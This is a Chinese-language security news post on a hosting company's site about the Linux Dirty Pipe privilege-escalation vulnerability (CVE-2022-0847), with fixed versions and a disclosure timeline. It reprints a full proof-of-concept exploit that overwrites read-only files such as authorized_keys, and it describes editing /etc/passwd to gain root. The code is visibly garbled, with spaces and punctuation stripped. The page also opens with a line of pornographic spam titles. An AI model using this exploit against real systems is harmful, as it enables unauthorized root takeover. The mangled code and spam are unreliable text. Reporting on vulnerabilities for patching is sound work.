国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動(dòng)態(tài)

防御吧作為15年知名老牌域名服務(wù)商,CNNIC和CANN雙認(rèn)證域名注冊(cè)商,已經(jīng)
持續(xù)為500多萬個(gè)域名提供服務(wù),包括智能DNS/自由轉(zhuǎn)移/隱私保護(hù)等服務(wù)!
Linux 內(nèi)核最新高危提權(quán)漏洞:臟管道 (Dirty Pipe)
2022-03-14 10:41:36 【

    來自 CM4all 的安全研究員 Max Kellermann 披露了一個(gè) Linux 內(nèi)核的高危提權(quán)漏洞:臟管道 (Dirty Pipe)。漏洞編號(hào)為 CVE-2022-0847。

    

    據(jù)介紹,此漏洞自 5.8 版本起就已存在。非 root 用戶通過注入和覆蓋只讀文件中的數(shù)據(jù),從而獲得 root 權(quán)限。因?yàn)榉翘貦?quán)進(jìn)程可以將代碼注入 root 進(jìn)程。

    Max 表示,“臟管道”漏洞與幾年前的“臟!鳖愃疲圆捎昧讼嗨频拿,不過前者更容易被利用。此外,該漏洞目前已被黑客利用,研究人員建議盡快升級(jí)版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修復(fù)了此漏洞。

    Max 在文章中提供了漏洞 PoC。

    
        
            
                
                                         
                        /* SPDX-License-Identifier: GPL-2.0 *//* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */#define_GNU_SOURCE#include<unistd.h>#include<fcntl.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<sys/stat.h>#include<sys/user.h>#ifndefPAGE_SIZE#definePAGE_SIZE4096#endif/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */staticvoidprepare_pipe(intp[2]){  if (pipe(p)) abort();  constunsignedpipe_size=fcntl(p[1], F_GETPIPE_SZ);  staticcharbuffer[4096];  /* fill the pipe completely; each pipe_buffer will now have     the PIPE_BUF_FLAG_CAN_MERGE flag */for (unsignedr=pipe_sizer>0;) {    unsignedn=r>sizeof(buffer?sizeof(buffer) : r;    write(p[1], buffern);    r-=n;  }  /* drain the pipe, freeing all pipe_buffer instances (but     leaving the flags initialized) */for (unsignedr=pipe_sizer>0;) {    unsignedn=r>sizeof(buffer?sizeof(buffer) : r;    read(p[0], buffern);    r-=n;  }  /* the pipe is now empty, and if somebody adds a new     pipe_buffer without initializing its "flags", the buffer     will be mergeable */}intmain(intargcchar**argv){  if (argc!=4) {    fprintf(stderr"Usage: %s TARGETFILE OFFSET DATA\n"argv[0]);    returnEXIT_FAILURE;  }  /* dumb command-line argument parser */constchar*constpath=argv[1];  loff_toffset=strtoul(argv[2], NULL0);  constchar*constdata=argv[3];  constsize_tdata_size=strlen(data);  if (offset%PAGE_SIZE==0) {    fprintf(stderr"Sorry, cannot start writing at a page boundary\n");    returnEXIT_FAILURE;  }  constloff_tnext_page= (offset| (PAGE_SIZE-1)) +1;  constloff_tend_offset=offset+ (loff_t)data_size;  if (end_offset>next_page) {    fprintf(stderr"Sorry, cannot write across a page boundary\n");    returnEXIT_FAILURE;  }  /* open the input file and validate the specified offset */constintfd=open(pathO_RDONLY); // yes, read-only! :-)if (fd<0) {    perror("open failed");    returnEXIT_FAILURE;  }  structstatst;  if (fstat(fd&st)) {    perror("stat failed");    returnEXIT_FAILURE;  }  if (offset>st.st_size) {    fprintf(stderr"Offset is not inside the file\n");    returnEXIT_FAILURE;  }  if (end_offset>st.st_size) {    fprintf(stderr"Sorry, cannot enlarge the file\n");    returnEXIT_FAILURE;  }  /* create the pipe with all flags initialized with     PIPE_BUF_FLAG_CAN_MERGE */intp[2];  prepare_pipe(p);  /* splice one byte from before the specified offset into the     pipe; this will add a reference to the page cache, but     since copy_page_to_iter_pipe() does not initialize the     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset;  ssize_tnbytes=splice(fd&offsetp[1], NULL10);  if (nbytes<0) {    perror("splice failed");    returnEXIT_FAILURE;  }  if (nbytes==0) {    fprintf(stderr"short splice\n");    returnEXIT_FAILURE;  }  /* the following write will not create a new pipe_buffer, but     will instead write into the page cache, because of the     PIPE_BUF_FLAG_CAN_MERGE flag */nbytes=write(p[1], datadata_size);  if (nbytes<0) {    perror("write failed");    returnEXIT_FAILURE;  }  if ((size_t)nbytes<data_size) {    fprintf(stderr"short write\n");    returnEXIT_FAILURE;  }  printf("It worked!\n");  returnEXIT_SUCCESS;}
                        
  •                             
  •                                 

                                        
                                    

                                
                
            
        
    

    據(jù)介紹,本地用戶可以將自己的數(shù)據(jù)注入敏感的只讀文件,消除限制或修改配置以獲得更高的權(quán)限。有研究人員通過利用該漏洞修改 /etc/passwd 文件進(jìn)行了舉例,修改后可直接取消 root 用戶的密碼,然后普通用戶使用 su root 命令即可獲得 root 賬戶的訪問權(quán)限。還有研究人員發(fā)現(xiàn),使用 /usr/bin/su 命令刪除 /tmp/sh 中的 root shell 可以更容易獲取 root 權(quán)限。

    最后,建議各位檢查所使用的 Linux 服務(wù)器的內(nèi)核版本,若是 5.8 以上的版本請(qǐng)盡快升級(jí)。

    臟管道 (Dirty Pipe) 漏洞時(shí)間線:

  •     
  •             2022-02-20:向 Linux 內(nèi)核安全團(tuán)隊(duì)發(fā)送錯(cuò)誤報(bào)告、漏洞利用和補(bǔ)丁           
    
  •                    2022-02-21:在 Google Pixel 6 上復(fù)現(xiàn)錯(cuò)誤,并向 Android 安全團(tuán)隊(duì)發(fā)送錯(cuò)誤報(bào)告        
    
  •                    2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建議,將補(bǔ)丁發(fā)送到 LKML(不含漏洞詳細(xì)信息)           
    
  •                 2022-02-23:發(fā)布包含錯(cuò)誤修復(fù)的 Linux 穩(wěn)定版本 (5.16.11、5.15.25、5.10.102)            
    
  •             2022-02-24:Google 將錯(cuò)誤修復(fù)合并到 Android 內(nèi)核     
    
  •                    2022-02-28:通知 linux-distros 郵件列表       
    
  •                  2022-03-07:公開披露          

    

】【打印關(guān)閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇DDoS 是什么攻擊,防御方式? 下一篇高防云服務(wù)器的功能作用

立足首都,輻射全球,防御吧專注云防御及云計(jì)算服務(wù)15年!

聯(lián)系我們

服務(wù)熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術(shù)支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權(quán)所有 增值許可:京B2-20140042號(hào)
售前咨詢
公司總機(jī):18910191973
24小時(shí)電話:010-56159998
投訴電話:18910191973
值班售后/技術(shù)支持
售后服務(wù)/財(cái)務(wù)
備案專員
緊急電話:18610088800